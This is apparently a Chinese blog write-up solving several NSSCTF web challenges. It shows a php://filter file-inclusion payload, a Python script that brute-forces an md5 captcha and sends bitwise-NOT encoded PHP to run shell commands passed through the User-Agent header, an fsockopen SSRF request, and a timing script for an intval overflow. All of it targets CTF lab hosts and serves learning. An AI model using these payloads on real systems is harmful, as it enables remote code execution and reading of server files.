echo "PD9waHAKCiRwYXRoID0gJF9QT1NUWyJmbGFnIl07CgppZiAoc3RybGVuKGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpKSA8IDgwMCAmJiBwcmVnX21hdGNoKCcvZmxhZy8nLCAkcGF0aCkpIHsKICAgIGVjaG8gJ25zc2N0ZiB3YWYhJzsKfSBlbHNlIHsKICAgIEBpbmNsdWRlKCRwYXRoKTsKfQo/PgoKPGNvZGU+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDAwIj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMEJCIj4mbHQ7P3BocCZuYnNwOzxiciAvPmhpZ2hsaWdodF9maWxlPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPl9fRklMRV9fPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KTs8YnIgLz5pbmNsdWRlKDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPiRfUE9TVDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDc3MDAiPls8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjREQwMDAwIj4iZmxhZyI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA3NzAwIj5dKTs8YnIgLz48L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjRkY4MDAwIj4vL2ZsYWcmbmJzcDtpbiZuYnNwOy92YXIvd3d3L2h0bWwvZmxhZy5waHA7PC9zcGFuPgo8L3NwYW4+CjwvY29kZT48YnIgLz4" | base64 -d
得到。
<?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>
</span>
</code><br />
欧?当输入的文件被读取的长度大于800时,我们便能够用文件包含的方式读取到敏感信息。当然路径要与flag的路径匹配(用PHP伪协议)。
因而,构造payload:
http://node4.anna.nssctf.cn:28280/demo=PD9waHAKCiRwYXRoID0gJF9QT1NUWyJmbGFnIl07CgppZiAoc3RybGVuKGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpKSA8IDgwMCAmJiBwcmVnX21hdGNoKCcvZmxhZy8nLCAkcGF0aCkpIHsKICAgIGVjaG8gJ25zc2N0ZiB3YWYhJzsKfSBlbHNlIHsKICAgIEBpbmNsdWRlKCRwYXRoKTsKfQo/PgoKPGNvZGU+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDAwIj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMEJCIj4mbHQ7P3BocCZuYnNwOzxiciAvPmhpZ2hsaWdodF9maWxlPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPl9fRklMRV9fPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KTs8YnIgLz5pbmNsdWRlKDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPiRfUE9TVDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDc3MDAiPls8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjREQwMDAwIj4iZmxhZyI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA3NzAwIj5dKTs8YnIgLz48L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjRkY4MDAwIj4vL2ZsYWcmbmJzcDtpbiZuYnNwOy92YXIvd3d3L2h0bWwvZmxhZy5waHA7PC9zcGFuPgo8L3NwYW4+CjwvY29kZT48YnIgLz4&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php // POST后,返回

当我们输入命令echo "PD9waHAgPSdOU1NDVEZ7MDcyODRiZmItNjdiOS00YWE4LWIyMDgtYzYzYzBkOGNjMmM2fSc7Cg==" | base64 -d时,便能够得到
<?php ='NSSCTF{07284bfb-67b9-4aa8-b208-c63c0d8cc2c6}'
[极客大挑战 2020]rceme
查看源码是vim泄露。于是url拼接.index.php.swp。

·vim -r .index.php.swp交换文件后得到

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
//获得验证数字
}
if(isset($_POST['cmd']) and isset($_POST['code'])){
if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
//post传的code经过md5加密前五个字符,要等于session的code
die('<script>alert(\'Captcha error~\');history.back()</script>');
}
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
//修正符:x 将模式中的空白忽略;
die('<script>alert(\'Longlone not like you~\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
根据
/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm
//输入内容不能包含字母、数字、单引号、双引号、反引号、空格、逗号、点、减号、加号、等号、斜杠、反斜杠、小于号、大于号、美元符号、问号、脱字符、竖线等
可知,是无字母的RCE。发现没有过滤~取反的符号,但是过滤了/[^\s\(\)]+?\((?R)?\)/等众多字符。
本来想靠着 [SWPUCTF 2021 新生赛]hardrce里的思路,利用url编码进行RCE的构造(system(next(getallheaders()));),但是发现好像因为动态防御机制被WAF禁用了。
计算PIN码的过程。破解md5的编写思路利用一个大范围的字典事先对不确定的结果进行存储,然后与指定的md5哈希值比对。如果实际存储的md5值与预定的md5值相等,那么就打印该数字,然后将每一位正确的字符串拼接起来就得到了完整的结果。这是爆破的常见思路之一,此方法也称彩虹表。
下面各个函数的调试、构造过程,建议参考极客大挑战2020-rceme-wp | Antel0p3's blog
import hashlib
import math
import requests
import re
def one(s):
ss = b"[~"
for each in s:
ss += (255 - ord(each)).to_bytes(1, 'little')
ss += b"][~\xCF]("
return ss
def get_not(a):
# 将命令转为[~\x8F\x8D\x96\x91\x8B\xA0\x8D][~\xCF]();的形式
#即化为16进制的东西之前,还必须对原来的系统函数进行取反
aa = a.split("(")
s = b""
for each in aa[:-1]:
s += one(each)
s += b")" * (len(aa) - 1) + b";"
# print(s)
return s
url = 'http://node4.anna.nssctf.cn:28438/'
sess = requests.session() # 注意这里用session()是为了保持会话状态
res = sess.get(url=url)
sum = re.findall(',0,5[)]==(.....)', res.text)[0] # 获取5位哈希值
print(sum)
code = ''
for i in range(800000):
md5 = hashlib.md5(str(i).encode())
if md5.hexdigest()[:5] == sum:
print(i)
code = i
break
headers = {"User-Agent": "ls /;cat /flll1114gggggg"}
res = sess.post(url=url, headers=headers,data={"cmd":get_not('system(next(getallheaders()));'), "code":code}) //json下cmd参数的调试过程,建议阅读链接更容易理解其本质
print(res.text)
整体思路:可以看到除了绕过md5和sha1等哈希函数外,还利用了众多无回显RCE函数技巧(system(next(getallheaders())))以及UA注入,看来要挖到rce还真不容易啊。
[HNCTF 2022 WEEK2]ez_ssrf
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
遇事不要慌,分析关键点,发现可以的注入点是fsockopen。
PHP: fsockopen - Manual查看相关资料可知,都需要
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.example.com\r\n"; //这里替换为127.0.0.1
$out .= "Connection: Close\r\n\r\n";
这些内容才能够进行读写操作。
将其base加密一下,得到R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=。然后,通过GET型填入data,host,port等参数。

[NCTF 2018]小绿草之最强大脑

dirsearch -u "http://node4.anna.nssctf.cn:28025/" -t 30 -e *
目录扫描得到备份文件index.php.bak
[1:58:45] 301 - 335B - /css -> http://node4.anna.nssctf.cn:28025/css/
[21:58:59] 301 - 335B - /img -> http://node4.anna.nssctf.cn:28025/img/
[21:59:01] 200 - 1KB - /index.php
[21:59:01] 200 - 1KB - /index.php/login/
[21:59:01] 200 - 818B - /index.php.bak
[21:59:03] 301 - 334B - /js -> http://node4.anna.nssctf.cn:28025/js/
[21:59:04] 200 - 498B - /js/
下载源码,得到
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么没算对呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服务器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算对了!!");
</script> ';
$_SESSION['count']++;
}
}
?>
根据PHP官网得知intval的作用域:最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到2147483647。举例,在这样的系统上,intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。参考PHP: intval - Manual
我们随机输入一个大于21的数进行测试,从请求头UA查看到操作系统应该是64位的。

初步代码审计,根据弹窗(alert("tql,算对了!!"),intval(time())-$_SESSION['time']这个值必须位于1到2之间。 (1<??<2)
这里我不知道怎么让时间延缓控制在1到2之间(sql注入里面可以用延时函数sleep(1.5),但是需要提交结果之后再调用sleep函数)。
这里直接采用大佬的脚本,并进行了略微的改造。
NCTF 2018 部分 Writeup | 国光
import requests
import re
import time
# 初始化会话和请求头
s = requests.Session()
url = "http://node4.anna.nssctf.cn:28025/"
number = "4200000000000000000000" # 输入的数字
# 设置请求头
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0',
}
r = s.get(url)
# 开始循环处理计算任务
while True:
# 使用正则表达式提取公式
num_pattern = re.compile(r'<div style="display:inline;">(.*?)</div>')
num = num_pattern.findall(r.text) # 提取页面中的公式部分
formula = "9223372036854775807+" + ''.join(num)[:-1]
print(f"计算公式: {formula}")
try:
ans = eval(formula)
print(f"计算结果: {ans}")
except Exception as e:
print(f"计算错误: {e}")
break
# 准备提交的数据
data = {
"input": number,
"ans": ans
}
r = s.post(url, headers=headers, data=data)
print(r.text)
time.sleep(1.2)
结果:


浙公网安备 33010602011771号